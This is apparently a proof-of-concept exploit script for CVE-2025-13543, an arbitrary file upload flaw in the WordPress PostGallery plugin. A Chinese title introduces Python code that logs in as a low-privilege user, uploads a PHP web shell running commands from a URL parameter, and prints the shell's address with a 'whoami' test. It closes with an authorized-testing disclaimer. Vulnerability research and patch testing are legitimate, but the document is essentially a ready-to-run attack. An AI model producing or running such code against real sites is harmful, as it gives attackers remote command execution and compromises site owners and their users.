CVE-2025-13543 WordPress PostGallery插件任意文件上传漏洞

import requests import sys # CVE-2025-13543 PoC - PostGallery Arbitrary File Upload # Target: WordPress site with PostGallery plugin <= 1.12.5 target = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com' username = sys.argv[2] if len(sys.argv) > 2 else 'subscriber' password = sys.argv[3] if len(sys.argv) > 3 else 'password' # Login to WordPress session = requests.Session() login_url = f'{target}/wp-login.php' login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f'{target}/wp-admin/', 'testcookie': '1' } session.post(login_url, data=login_data) # Upload malicious PHP file via PostGallery uploader upload_url = f'{target}/wp-admin/admin-ajax.php' files = { 'file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'application/php') } data = { 'action': 'post_gallery_upload', 'post_id': '1' } try: response = session.post(upload_url, files=files, data=data) print(f'Status Code: {response.status_code}') print(f'Response: {response.text}') # If upload successful, try to access the shell if response.status_code == 200 and 'upload' in response.text.lower(): print('[+] File uploaded successfully!') print('[+] Access shell at: ' + target + '/wp-content/uploads/post-gallery/shell.php?cmd=whoami') except Exception as e: print(f'[-] Error: {e}') print('\n[!] Note: This PoC is for educational and authorized testing purposes only.')